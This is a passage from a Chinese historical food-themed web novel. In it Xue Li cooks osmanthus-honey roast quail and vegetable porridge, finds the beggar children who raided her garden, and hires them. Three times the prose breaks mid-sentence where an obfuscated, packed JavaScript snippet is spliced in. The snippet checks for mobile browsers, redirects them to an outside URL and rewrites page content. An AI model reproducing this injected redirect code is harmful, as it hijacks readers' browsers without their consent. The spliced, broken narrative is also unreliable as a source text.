齐悦怔忡望着薛荔，丹唇微微翕动。 有那么一瞬，她忽而觉得面前这位小娘子虽年纪轻轻，却有着远超市井百姓的明朗透彻，分明二人瞧着也相差不了几岁啊！ “真想不到，你虽未长我几岁，却能通透至此。”齐悦脸色微红，方才那些纠结难堪的情绪，在这一瞬间竟有些羞于启齿了。 她垂眸望着薛荔递来的那勺乳酪糕，迟疑片刻，终是咬了一口，甜津津的滋味在唇齿间漾开，她眼尾的红意也随之渐渐散去。 沉默半晌，齐悦忽然从袖中取出一只沉甸甸的荷包，拍在桌上，下定决心郑重道：“我，要在你这包月。” “包月？”姜喜鱼不解，“你家中短你饭食了？” 齐悦似乎有些难为情，讷讷道：“倒也不是，只不过......我对兄长放了狠话......说要绝食......” 姜喜鱼怔了片刻，随即哈哈大笑：“好呀齐小妹，原来你还挺有骨气！” “要包月，倒也不必这么多银两。”薛荔将那荷包推回她手旁，含笑道，“我们珍味铺尚且只做早点、药膳、甜点，你若想包月，三餐便只能跟我和喜鱼吃一样的，几道家常菜而已，要不了这么多钱。” 齐悦却急忙拦下：“无妨无妨，钱不成问题，本就是我打搅了你们。况且小娘子手艺如此之好，若觉我给得多，那便多买些好吃的菜来做，权当是改善我们三人的伙食好了。” 见她坚持如此，又不像是穷苦人家出身的小娘子，薛荔也未再推辞，莞尔：“行，那便按月算钱，你每日过来便是。” 待到齐悦吃饱喝足，出了店铺，姜喜鱼望着她的背影，在一旁偷笑：“有意思的小娘子，倒有几分傲气，就是人太单纯了些，哪有人出手这般阔绰的？” “这倒不必为她担忧。”薛荔嘴角微微上扬，“你可瞧见方才她穿的衣裳了？孔雀罗纹绫，想来也是高门大户出身的女娘，不必为钱所忧。” “孔......是那一千五百文才一匹的孔雀罗纹绫？”姜喜鱼惊得咂舌，旋即似是想到了什么，侃道，“阿荔，你该不会一开始就瞧见齐小妹衣裳不菲，这才招呼她进店小坐罢？” 薛荔斜了她一眼，眉梢轻挑：“做生意的人，眼力劲可不得好些？” 她顿了顿，欣慰道：“更何况，咱们这可算是做了件好事——既宽慰了伤情的齐小妹，又开解了一位这世间为所形躯所缚的女娘。” - 接连几日，每日饭点，齐悦皆准时而至。 14. 桂蜜烤鹌鹑 从遇见薛荔前的，每日只能避人耳目，偷偷躲在房中啃栗糕充饥，到现如今的顿顿三菜一汤，时或还能尝上珍味铺新研制出的甜点，齐悦心底别提多美滋滋了。 前日吃的是莲房鱼包，昨日吃的是东坡烧肉，今日阿荔会给她做什么好吃的？ 她走在街上，光是想着便忍不住抿了抿唇，强忍住即将溢出的涎水。 可待她从侧门迈入后院，却不似往常般嗅见诱人的饭菜香气，反倒闻到一股湿泥味。 “阿荔？喜鱼？”齐悦有些愣神，四下张望片刻。 “这里！” 熟悉的声音自后院传来，齐悦快步赶去，映入眼帘的却是一片狼藉的黄土地。 薛荔正立在其中，裙摆沾泥，脚边尽是东倒西歪、蔫头耷脑的蔬菜。 齐悦不由得看呆了眼。 她晓得薛荔早先便在后院园子里开垦了一小块菜圃，专用来种些葱、芫荽等易生长的蔬菜，且还料理打点得极好，可如今怎么一日不见，就变成这副惨状了？ “这是怎么一回事？”齐悦讶然，“喜鱼呢，怎不见她？” 薛荔长叹息一口气，刚欲开口解释，西围墙上便迅速翻入个黑影——“终于叫我给发现了！” 姜喜鱼轻松落地，拍了拍手上的灰尘：“都是这附近的几个小乞儿搞得鬼，天不亮便来糟蹋这菜园子。我瞧啊，准是隔壁开炊饼铺那吕饼娘指使的，早几日我便看见她给那些个乞儿施舍炊饼，平日里未见她有这般好心。” 齐悦恍然：“你们珍味铺生意太好，惹她眼红了？” 姜喜鱼讥诮：“她那心眼子，还没咱甘豆汤里的菉豆大，怕是要得一辈子红眼病。” 薛荔听得头疼，忍不住揉了揉额角。 这辈子，她是跟炊饼铺犯冲不成？ 前有张炊饼，后有吕饼娘，莫非吃炊饼的当真能生出百八十个心眼子？ 姜喜鱼见她捂额，甚是苦恼模样，安慰道：“你别愁，待午饭后，我便寻条麻绳，把那几个小乞儿捆到吕饼娘铺前指认，让街坊邻里都看看她吕饼娘是个什么丑类。” “欸，莫要着急。”薛荔忙摆手劝住，“乞儿们本是可怜人，为求口饭才做了这等事，倒不必叫他们失颜于人前。至于吕饼娘么……” “你要如何收拾她？”姜喜鱼饶有兴味。 “哼，我自有妙招。”薛荔稍稍一挑柳叶眉，唇角微扬，信手拎起菜圃黄土地上唯一一根尚算精神的嫩葱，于空中灵活打了个璇儿，稳稳落回掌心。 “走，今日咱吃桂花蜜汁烤鹌鹑！” ...... 后厨里，灶上的小铁锅中“咕咚咕咚”熬煮着甘草水与蜂蜜，满室香甜。 薛荔抽了只小凳坐于门前，面前搁一大盆热腾腾的水。 她将刚宰杀的鹌鹑浸入，等了约莫十来秒，将鹌鹑迅速捞出，趁着热气稍用些气力一拔，便将主羽褪得干干净净。 接下来是一些残留的细小绒毛。她将鹌鹑表皮擦至干燥，一旁守着的姜喜鱼忙递上生好的柴火。将鹌鹑悬在火星子上方，旋转着缓烤个三五秒，借柴火的炙热将细小绒毛烤至焦脆，再拿起丝瓜瓤轻轻一搓，绒毛即刻便脱落，露出一层白嫩嫩的皮。 齐悦生于名门大族之中，自幼从不曾入过庖厨，更别提亲眼见证一只光溜溜的无毛鹌鹑是如何诞生，眼下虽怀敬畏之心，远远倚在院中的水缸边看，却仍止不住赞叹：“不愧是阿荔，连这般细微处都不放过，怪不得烹出的饭菜格外美味！” “这才哪到哪？”薛荔笑道，“不过是第一步呢。” 她站起身，将白白净净的鹌鹑拎回砧板，倾出米酒，润其皮肉，又撒香料粉细细搓揉。 原该以粗盐去腥提鲜，但宋朝盐贵，便是齐悦出手阔绰，给的包月银沉甸甸，她亦不舍得随意挥霍。 这俗话说得好，“节约油，油满罐；节约钱，钱满串”，在保证她这位贵客吃得心满意足的同时，若还可省下些小小私房钱，那自然再好不过了。 她把腌渍后的鹌鹑放入浅碗，往其腹腔内填入薄姜片、捶碎的桂叶与几颗茱萸后，又侧身揭开锅盖，往里撒入一撮干桂花。先时倒入的蜂蜜早已化开，将甘草水的微苦悉数炼去，并与之交融一体，糖浆愈煮愈稠，咕嘟”冒着晶莹剔透的泡泡，桂花瓣被琥珀色的蜜汁浸润，甜香直直钻入鼻端。 齐悦轻轻嗅了嗅空气中的香气，眸光微亮：“欸！用桂花入膳，果真别有韵味！” “可不是？这香味馥郁，比前些时日阿荔做的桂花糕还诱人。”姜喜鱼眯了眯眼，嗅觉敏锐如猫儿，“只是不知滋味如何。” 齐悦先赞为敬：“阿荔出手，定是色香味俱有。” 薛荔她这俩吃货小姊妹惹得发笑，提起竹勺，缓缓搅动蜜汁，待至色泽金亮、浓稠而不滞手，方才停下：“等吃还早着呢，少也得要一时辰。” 她将蜜汁舀起，徐徐淋在鹌鹑表面，为这只卒得光荣的小仔畜均匀裹上一层薄亮的糖衣，随后以大瓷盘覆住，静置半个时辰，让甜香渗入肉质。 好容易半时辰过去，薛荔却说烤还需半时辰。 姜喜鱼又饿又纳闷：“小小一只鹌鹑，怎要烤这般久？也忒折磨人了罢。” “烤制不透，如何入味？”齐悦眼巴巴地瞅着薛荔用铁签穿过鹌鹑，固定在简易搭好的旋炙烤架上，边烤边刷蜜汁。 鹌鹑外皮在火焰映照下泛着一层莹润糖色，若能咬一口，只怕是会脆得发出“咔嗞”一声响，她咽下口水，语气故作从容：“你且忍一忍，待会儿便知。” 三人围着旋炙烤架打转许久，大多时候，皆是薛荔提起油刷，蘸了蜜汁，细细涂抹在鹌鹑表皮，且细致观火势，姜喜鱼与齐悦二人则抢着来轮流转动烤架，只为靠得离鹌鹑更近些，好多闻两口肉香。 琥珀色的蜜汁慢条斯理地渗入肉中，炙烤出的焦糖外壳随火候变化，先是微微泛金，继而转深，终至宽焦薄脆。微光流转间，那层薄薄的糖壳仿佛蒙了一层莹润的釉彩，诱人至极。 炭火下压着的松枝噼啪作响，烧出的烟火气裹挟蜜香，直往鼻端里钻，叫人未尝其味，闻着便已肚中打鼓。 “齐小妹，这回该轮到我来转了！” “喜鱼！你瞧你口水都要滴到鹌鹑肉上去了，还是我来的好！” 二人互不相让，肩膀暗中较劲，谁也不肯松手，场面颇为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659680|188378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 滑稽。 薛荔轻轻一笑，凑近些察看那鹌鹑的糖色与，烤炙溢出的滋滋香油，见色泽已然匀亮，香气愈发浓郁，便懒得理会二人的小打小闹，径直伸手扯开她们，欣然道：“成了！” 话音一落，不必用力分扯，二人便立刻住手，仿佛心有灵犀般，同时朝两侧让步，腾出中间的位置给薛荔取肉。 薛荔灭了火，将烤好的鹌鹑取下，翻手置于铺垫了荷叶的漆盘上。 荷叶嫩翠，清新的香气拂过热腾腾的焦糖外壳，衬得桂花蜜汁烤鹌鹑的香味油而不腻，更添几分馥郁雅致的韵味。 她又盛了一小碟蜜汁，索性奢侈一把，撒上细细研磨过的杏仁粉，拌匀以增稠，作蘸食之用。 “万事俱备。”薛荔将盘盏与备好的小匕首推至二人面前，侧身退开，眉眼弯弯道，“快些趁热尝尝。” 姜喜鱼早已按捺不住，率先伸手削下一小块肉，往蘸碟里一滚便送入口中。 鹌鹑外层焦脆，齿间轻轻一咬，便发出细微的碎裂声，如同嚼碎了一层甜滋滋的糖画儿，待及肉质，竟是细嫩多汁，浸润着桂花与蜂蜜的清甜，与炙烤后的鹌鹑脂香相得益彰，竟无一丝腥气。 “香哉！”姜喜鱼咬得满嘴生香，含糊道，“若非亲自尝过，真不知这桂花蜜汁竟与鹌鹑如此相衬。阿荔，你这手艺，当真是……” 她话音未落，齐悦亦削下一块鹌鹑肉，马不停蹄送入嘴中尝，眸底不自觉浮起一丝惊艳之色。 她本对甜味入肉有所犹豫，恐怕甜腻喧宾夺主，然此时尝来，那桂花蜜的甜意竟不盖肉香，反倒恰到好处地衬出鹌鹑的醇厚，方知此前的担忧全然多余。 齐悦细细咀嚼，口中尽是馥郁的甘美滋味，忍不住喟叹道：“甜而不腻，香而不烈，便是樊楼的庖厨也烤不出这般好的桂花蜜汁烤鹌鹑！” “别光瞧着我们俩吃，你这大厨亦得尝尝自己的好手艺。”说着，唇角沾着蜜渍的姜喜鱼连为她削下好几块鹌鹑肉，码在她碗中。 薛荔见她俩吃得满脸欢喜，眸光含笑，不紧不慢地提起竹筷自碗中夹起一片。 那蜜糖外壳在灯火映照下泛起温润光泽，她咬下去的那一瞬，齿间立刻被一股酥脆细碎的甜意包裹，紧接着，肉质的鲜嫩多汁便倾泻而出，蜂蜜的甘醇与桂花的幽香相互交融，在口腔里层层绽放，余韵悠长。 薛荔不由微微颔首，倒不是自夸，而是这道菜确实成了。 姜喜鱼一边大快朵颐，一边含糊道：“阿荔，你这手艺，拿去献给官家，怕是也得被封个‘御厨’才行。” 薛荔失笑：“我若真成了御厨，岂不是要天天待在宫里做菜？这般一想，倒不如现在自在。” 齐悦闻言，附和地点头：“是极，若阿荔成了御厨，我们还不得日日在宫门口求见？哪里比得上现在，想吃便吃。” 姜喜鱼忽而忆起何事似的，忙咽下一口扎实鹌鹑肉，噎得缓了一缓：“御厨行不通，做那宁武侯的厨子总行得通了？听闻那宁武侯年纪轻轻便沉疴缠身，官家为他寻遍天下名厨，他皆不要，我猜呐，他也就是不曾尝过你做的佳肴，这若是有机会尝上一口，只怕一定积极求医，绝不想英年早逝。” 15. 乞儿葱油饼 突闻此言，腮帮吃得鼓鼓的齐悦猛地一呛：“咳咳......” “慢些吃，没人同你争。”薛荔不明所以，只以为她吃急了，抬手轻轻拍她的背。 姜喜鱼手快，递来帕子。 齐悦颦着眉头接过，揾拭干净嘴角，犹豫少顷后，方弱弱出声：“我倒听闻，那宁武侯脾性不大好，阿荔这般手艺，若是被他逮住不肯放人，岂不受委屈呢？......若真遇上了侯府中的人，可千万记得，避开为妙！” “诶呀，那宁武侯府中的人，是咱这种市井老百姓能随随便便遇见的么？”姜喜鱼的眸光直盯着桂花蜜汁烤鹌鹑肚皮上的最后一块肉，舔了舔唇角，“还不如这盘烤鹌鹑来得委实呢。” 言罢，她喜滋滋伸筷去夹那块肉，却不料齐悦反应更快，轻巧一转手腕，截了她的食。 姜喜鱼瞪眼：“你——！” 齐悦一口咬下，眉梢微微一挑，心满意足地吞入肚中，笑眯眯道：“多谢喜鱼成全。” 姜喜鱼气得举筷欲抢，薛荔忍俊不禁，将自己碗中还剩的肉各夹了几块到二人碗里：“好了好了，你俩都不许再闹，余下的五五分。” 这一餐，三人皆是吃得心满意足，到最后，连鹌鹑骨架子底下的蜜汁都不曾浪费半点，各添了两盏米饭，尽拿去拌饭吃了。 第二日，晨雾未散，笼罩住了巷道，也笼住珍味铺的牌匾。 薛荔起了个大早，正打算为云酥包备馅儿，掀开门帘，迈进灶房，甫一踏入，便打了个呵欠，眼角还挂着未睡饱的湿润泪花。 昨日吃的桂花蜜汁烤鹌鹑乃当真美味，她三人将肉啃了个精光不说，又就着桂花蜜汁狼吞虎咽了两大碗糙米饭，饱食不过多久便发了饭晕，夜里睡得甚是香甜。 至今晨起，她仍觉唇齿间隐隐残留着桂花的馥郁甜香哩！ 薛荔回想着那烤鹌鹑的肉香，心中还美着呢，进屋后，却见一派吃惊景象。 ——本放在厨架上装菜用的都篮，不知何时翻倒在地，里头的新鲜蔬菜早已不见踪影，唯有几片虫啃过的烂叶残留，散落得零零落落，像是被人故意遗弃似的。 这显然是有人将菜全挑走，还将烂菜叶子留给她收拾呀！ 瞧着面前这般场景，薛荔骤然便清醒了。 灶房都被偷了，厨子哪还能打瞌睡？ “哈——阿荔，咱们今儿早吃……”姜喜鱼从后头晃晃悠悠地进来，口中也是打着老长一个呵欠，无意一瞥，半耷拉着的眼皮骤然掀开，“咄咄！哪家猢狲敢薅老娘的菜篮！” 薛荔靠在门框旁，单手扶额：“喜鱼，我想咱们真得买条看家犬来守着院子了。” 姜喜鱼仍在气头上，登时炸毛：“岂有此理！往日只有我姜喜鱼偷旁人家东西的份儿，现如今，竟倒反天罡来？不行不行，今日我非得揪出这小贼不可！” 正骂着，院中忽地传来一声重物落地的闷响，像是有人跌倒，仔细一听，貌似还有人声嘟囔：“……快翻过去！她们来了，使把劲儿呀！” 薛荔与姜喜鱼对视一眼，当即心知肚明。 童声稚嫩，岂不正是前两日受吕饼娘之惠的乞儿们？ 姜喜鱼眉毛一横，撸起袖子，抬脚便要冲出去抓人。 “欸！喜鱼，咱们不妨先等等瞧。”薛荔连忙拽住她袖管，往外瞟了眼，压低声线，“咱俩跟在那群小鬼身后，看看他们究竟要去哪儿。” 姜喜鱼忿忿地用力点头：“对，抓他们个人赃俱获！” 二人待那群小鬼头翻过围墙，这才悄然跟上。一路上，穿巷过街，甚至连狗洞都钻了一回，搞得衣衫上皆沾上草叶，发髻亦是松松垮垮的。 姜喜鱼啐了两口嘴边的草根，咬牙低骂：“几个小犊子，莫不是在耍我俩？” 薛荔抬头，望见眼前之景，伸手轻拽了拽她衣袖：“欸，喜鱼，你瞧。” “什么呀。”姜喜鱼探头看去。 只见那三个小乞儿钻入一户破旧的院落，庭院中，一位满头银发的老媪端坐藤椅，听得脚步声，她微微侧首，眼珠却是灰白无神。 乞儿们见了她，纷纷簇拥上前，从破旧袍子的大袖中掏出几只炊饼，还有从她们灶房里偷来的新鲜蔬菜，全数递到老媪手里。 “我就知道是他们偷的。”姜喜鱼磨了磨牙，撩起衣袖，又准备大干一番。 这回，却仍是被薛荔一把拍下手臂：“那位老婆婆似乎双目失明了，他们虽偷了咱们的菜，但好像是为接济这位老媪。” 姜喜鱼定睛一看，那老媪果真双目灰白无神，唯接过乞儿们递来的吃食时，面上浮现出慈祥笑意。 “这几个小犊子，倒还算有点良心，若非他们先前帮着吕饼娘给咱们捣乱，我都要夸他们敬长了。”姜喜鱼在一旁看得直皱眉，低声嘀咕，“可这下……咋办？虽说也是做了桩好事，可他们给咱搞破坏这事儿还没完嘞。” 本以为几个乞儿偷了吃食后，会去找吕饼娘讨赏，不料他们却来了此处，这倒不好办了。 薛荔抿唇略加思索，眼珠流转，片刻后朝姜喜鱼促狭地挤了挤眼：“我有法子。” 荒芜小院中，屋舍虽萧条破败，可前院中却热闹。 “嫲嫲，咱们今日又给你带葱油炊饼来啦！” “还有青菜，都可新鲜哩！” “嫲嫲张嘴，我喂你尝。” 三个衣衫褴褛的乞儿围坐在老媪身旁，一口一个“嫲嫲”地亲昵唤着，其中一个女娃把手中的炊饼细细撕开，小心翼翼地递到老妪唇边。 薛荔方至院门口，便嗅见那股子葱油香。 西大街上，唯有吕饼娘一家所买炊饼添了这独家秘制的炸葱油，方才站得远，她见了还不能完全确定此炊饼出自吕饼娘之手，现下闻到葱油香，方知绝对错不了。 吕饼娘呀吕饼娘，她原当以为乞儿们得了炊饼，早就会狼吞虎咽吃个精光，不料这些孩子却把饼子攒了起来，只为让这位双目失明的老媪也能尝上一口。 人证物证俱在，这下她可真算是踢到了铁板。 “糍儿，你们这几个小娃娃哪来的钱买这些青菜和炊饼，还连着给我送了好几日？”老媪眼虽瞎，心却明澈，这几个孩子日日乞讨谋生，有时还得她接济些米粥，怎就忽地不愁口粮，反过来照料她了呢。 被唤作糍儿的那小男孩愣了楞，磕巴了下道：“我、馍儿还有豆姑，最近一直在西大街吕记炊饼铺子里帮工，吕饼娘不但给我们工钱，还管饭食，这葱油炊饼便是她管的饭食，嫲嫲你尝，是不是好吃极了？” 听他如是说，老媪心底虽还有几分疑虑，却在听见他最后那句话时被感伤取而代之。多可怜的几个娃儿，小小年纪，不曾吃过几顿饱食，只觉个葱油炊饼味美至极。 老媪提起袖子，悄悄揾去眼角的泪花：“嫲嫲老了，牙齿早就啃不动饼了，倒是你们几个小娃娃，正是长身体的时候，得多吃点东西。” “阿嫲若是嚼不动这炊饼，熬碗粥来，泡软了吃岂不甚好？”一道清丽的女声忽而传来，似春风般和煦。 小女娃豆姑攥着炊饼，循声仰头一看，歪了半边苇席门头棚漏下缕缕春阳，正映着来人。 那大姊姊约莫碧玉年华，乌发松松绾作垂鬟，纤白脖颈边的几缕青丝随性而垂，仿若瑶台银阙下来的仙女。浅青交领襦衣瞧着虽浆洗过多回，可那双灵动的小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659681|188378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狐狸似的眼眸很快便能将你的目光从她衣裳上吸引过去，真教人忍不住浸入那汪清亮如山泉、比檐外那枝野桃花还要明艳的眸子里。 一时间，豆姑痴得连手中炊饼都忘了撕，险些手松掉在地上。 “豆姑，豆姑！饼都要掉了！”馍儿瞥见自她掌心里斜斜欲坠的炊饼，急忙抬手一托，怪道。 “你，你......”糍儿瞪大了眼，盯着大摇大摆走进院中的薛荔，登时像炸了窝的雀儿一般，蹭地一下窜了起来，如临大敌。 薛荔则丝毫不避他诧异的目光，反而朝他促狭眨了眨眼。 那看似俏皮的目光扫过糍儿的脸庞，吓得他仿若被雷电劈过般，脊骨僵直。 “糍儿，是谁来了？”老媪双目看不见，只朝薛荔来声的方向微侧了侧脸。 “是好生漂亮的大姊姊！”豆姑双眼亮晶晶地瞧着薛荔。 “嘘！你别说话！”馍儿忙捂住豆姑的嘴，警惕地盯着薛荔与姜喜鱼二人。 薛荔走到糍儿面前，俯身一笑：“小郎君，是你来说，还是我来说呢？” 糍儿缓缓垂下头，嘴唇绷得紧紧，喉间滚动几下，似乎想说些什么，却最终只是深吸了好几口气，始终没有鼓起勇气开口。 “小娘子可是认得我家这几个娃娃？”老媪察觉到他异常的沉默，率先出声问询，声音浑浊却透着平和。 “认得，自然认得。”薛荔爽利答，又携着几分意味深长，“且......不单单只是认得这般简单哟。” 此一番话，说得那叫一个光风霁月，毫不阴阳怪气，可落在糍儿耳中，便成了另一番滋味。 他唰地抬起头，几乎是下意识地横身决绝挡在老媪与两个小乞儿身前，将他们同薛荔隔开。 “我、我不认得你！我是……嫲嫲，她……”他张了张嘴，面色渐渐涨得通红，双手紧握头，几番迟疑，终是羞惭地垂首没了下文。 一旁的豆姑挣开馍儿捂住她嘴的手掌，闪着乌溜溜的眼睛叫道：“豆姑想起来啦，她不正是咱们拿走唔——” 馍儿面色一窘，连忙又捂住豆姑的嘴，这回干脆双手并用，捂得更加严实。 “糍儿？”老媪疑惑地摸索着伸出手，眉头微蹙。 薛荔垂眸睨着男孩低垂着的乱蓬蓬脑袋，以及他微微颤抖的胳膊，随即抬首朝老媪笑着温和道：“阿嫲有所不知，今日他们几个带回来的时蔬，其实是我托他们送来的。” 话音刚落，糍儿倏尔抬头，不敢置信地望向薛荔。 “儿家乃西大街边上开食肆的，前些时日在街上瞧见这几个娃儿骨瘦如柴，着实可怜，便邀他们进店吃了些饭食饱肚。这一问才知，他们身上虽有炊饼，却舍不得吃光，说是要留着送给一位一直照料他们的老嫲嫲。我听罢，心中感佩颇深，想着也该尽一份绵薄之力，这才托他们带些蔬菜过来。” 薛荔笑意不变，一番话语说得那叫一个滴水不漏、顺理成章。 糍儿怔怔望着她，耳根微红，嘴唇微张，似乎不知该说什么才好。 “原是如此。”老媪舒展开眉头，感激道，“小娘子这般善心，真真叫老身惭愧。我这双眼睛看不见，腿脚亦不利索，本想着能护住这几个娃儿，没成想，反倒是拖累了他们……” “嫲嫲，可不许这般说！”糍儿拧起眉头，“您就是这世上待我们仨最好的人。” 薛荔微微一笑，缓声道：“阿嫲言重了，若非您悉心照料，只怕儿家在大街上瞧见的就不是三个面黄肌瘦的孩子，而是三副骷髅骨了。” 馍儿听到这话，忍不住扑哧一声笑出来，手上却仍不忘捂紧实，气得豆姑只能在他掌心里呜呜抗议。 16. 野菜番薯粥 糍儿心头紧绷的弦终于稍稍松了一丝，脸上戒备神色亦缓和些许，但仍未完全放下。他抿了抿唇，直视薛荔，认真道：“今日我们还要帮嫲嫲打扫院子，不便招待你……待到明日，我自会去你铺子里寻你。” 薛荔似笑非笑地睨着他：“小鬼头，你急什么？” 她随手撩了撩衣袖，偏头看向姜喜鱼，后者会意一笑，毫不客气地将肩上的麻袋重重往地上一搁，发出一声沉厚闷响。 “阿嫲不是嚼不动炊饼么？我跟喜鱼特意带了些粟米来。”她扯开米袋，浅笑道，“配上一碗温软的米粥，阿嫲定能吃得舒坦。” ...... 正屋里，土墙破陋，窗纸漏风。 料峭春风吹得屋角的灰尘悄然腾飘，而榆木方桌边却热气氤氲，温暖四溢，仿若同这间苦寒深重的屋舍隔出了一方独立天地。 香甜的白雾自桌正中央搁着的砂锅里徐徐上腾，携着野菜番薯粟米粥的馋人清香，萦绕在几张小小的脸庞前。 几个孩子围坐一侧，各自捧着一只釉色暗淡的瓷碗，勺子碰碗的清脆声不绝于耳，伴着他们“嚯咯嚯咯”直将碗底的菜粥往嘴里扒的急切劲儿，活像三只饿坏了的小猫崽。 姜喜鱼盛了一碗粥，端去喂老媪吃，经过薛荔身旁时，弯下腰，俯在她耳畔小声问：“你这般做，就不怕他们赖上你？” 薛荔侧脸冲她眨眨眼：“他们若是愿意赖上我，至少说明他们不会再去旁人家的菜圃里捣乱了不是？” 姜喜鱼没再说话，嘴角却微微上扬，欣然给老媪送粥去。 “好暖和！豆姑许久都未吃过烫嘴的饭菜啦！”豆姑在他们三人中年纪最小，饭量也比两个阿兄小，此刻已是吃得小肚子都圆滚滚鼓起，满足地打了个饱嗝，仰头直幸福地冲着薛荔咧嘴一笑。 这可将薛荔心窝都瞧化了，她忍不住弯了弯眉眼，捻起自己的帕子，仔细给这只小花猫揩干净唇角边的粟米粒：“豆姑莫急，粥要吹凉了喝才好，不然要伤着口齿。” 小丫头重重点头，薛荔轻轻揉了揉她的发顶，目光一转，便瞧见馍儿腮帮子鼓鼓的，碗底见空，忙不迭起身将碗凑到砂锅边，毫不客气地再盛上一大碗颇满的。 薛荔心中微叹，这几个孩子着实可怜，老媪家境清苦，存粮寥寥，粟米、野菜不是发霉长毛，便是干瘪蔫黄，根本没法下口。 幸而她在角落翻出一兜储存尚好的番薯，又特意去后山挖了些当令的野菜，这才勉强凑出一锅普通菜粥，让这几个瘦巴巴的小家伙能好好吃上一顿热饭。 连老媪都被姜喜鱼搀扶着喝了一碗，感慨连连：“我双眼昏花，平日不敢生火做饭，只能吃些冷硬干粮，没想到临老还能吃上这般热腾腾的菜粥，当真是老天怜悯……” “阿嫲净说些不吉利的话。”姜喜鱼平日里大大咧咧，可照顾起人来却也游刃恢恢，眼下呸呸两声，又吹凉一勺粥，送到老媪唇畔，“您嘴上若得闲，倒不若再多吃两口，省得白白浪费好粥。” 众人都吃得满足，唯有一人，薛荔却见其似乎心事重重。 糍儿安安静静地坐在那，低垂着脑袋，舀满一整勺粥往嘴中塞，一板一眼地嚼完后，又如是复吃一勺，竟吃出几分心不在焉的意味。 他是咋把一锅喷香菜粥吃出如嚼鸡肋之感的？ 薛荔狐疑地瞅他良久，若不是方才自己尝过粥，又见馍儿都添了两大回，她险些都要开始怀疑自个儿的手艺了。 “你名唤作糍儿？”薛荔凑到他身边坐下。 糍儿身子微微一僵，随即倔强地抬头看她，眸中带着防备。 薛荔觉察出他的不自在，反而侃道：“听上去倒是个软糯香甜的名字，只不过，你这娃娃脾性怎如此刚硬？” 糍儿梗着脖子，直至将口中的热粥咽下，方闷声回她：“男儿若不坚强，何以保护弟妹！” 薛荔闻言，不禁对他多了几分另眼相看，拍了拍他的肩：“看不出来，你虽有小偷小摸之过，却亦是个有担当之人呐。” “咳......”糍儿冷不丁被呛住，猛地咳嗽起来，忙以衣袖抹了把嘴，面红耳赤地同她反驳道，“我们那是为讨炊饼果腹，不得已才为之。” “可就算你们苦于生计，也不能靠偷盗为生。”她顿了顿，眉眼微弯，“你们既愿意照顾双目失明的阿嫲，足见心地不坏，与其偷鸡摸狗，不如光明正大地凭力气换饭吃，岂不更好？” “换饭吃？”糍儿眼里闪过一抹迟疑。 一旁的姜喜鱼已经安顿好老媪歇下，闻言走过来，叉着腰道，挑眉道：“怎么，听不懂？我们珍味铺虽不是什么大酒楼，可每日里活计也不少——择菜、淘米、烧水、净碗，你们若是愿意干活，便能挣一口饱饭吃。” 馍儿嘴里塞着番薯，含糊不清地凑过来道：“可吕饼娘也说，我们帮她干活，就能有炊饼吃……” 薛荔反问：“哦？她是给了你们炊饼，但可曾给过你们半文钱？” 孩子们皆是一怔。 “我便猜到了。”她轻轻抬眸，目光幽幽，“吕饼娘给你们炊饼吃，表面上是施恩，实则不过是为更方便使唤你们去做那些见不得人的事。” 提及吕饼娘，姜喜鱼冷嗤一声：“说白了，也就是把你们当便宜伙计用，还真当她心善呢？” 几个娃儿面面相觑，一时无言。 薛荔见他们神色松动，声音柔缓道：“在她那里干活，只得几张炊饼果腹，可在我这儿，不仅有热饭热菜，还能堂堂正正地谋生。若是干得好，工钱自不会少，也够你们给阿嫲买更好的吃食，过更好的日子。” 她微微一顿，弯眸看向他们：“如何？” 糍儿攥紧拳头，抿着唇，一双乌黑的眸子里写满挣扎。 馍儿两耳只听见薛荔方才所说的热饭热菜，此刻摸着圆滚滚的肚皮，一双眼睛直滴溜溜地往盛着野菜番薯粥的砂锅那边瞟，似乎在权衡若跟了她，今后肚子会不会少遭些罪。 唯豆姑笑盈盈的，一双秋水般的圆眼水汪汪地直瞅着她，瞧模样倒是打心底里喜欢她。不过，又看了看身旁两个兄长纠结的神情，只好瘪了瘪嘴，待他们开口。 沉默良久，糍儿忽然一咬牙，狠狠点头：“好，我愿意在你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659682|188378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们铺子里干活！” “还有我！”馍儿嘴中叼着半块炊饼，亦不甘落后地举起小手。 “豆姑也要！”可爱的小女娃雀跃蹦起来附和。 - 吕饼娘的饼铺正巧就开在西大街薛记珍味铺的右斜方第二家。 此刻，蒸笼上的炊饼正有条不紊地熥着，浓郁的葱油香气沿着晨间微凉的空气弥散开来，直勾得行人忍不住驻足。 铺前队列已然排起老长，食客们个个等着买上几张热乎乎的炊饼，揣回家佐粥去。 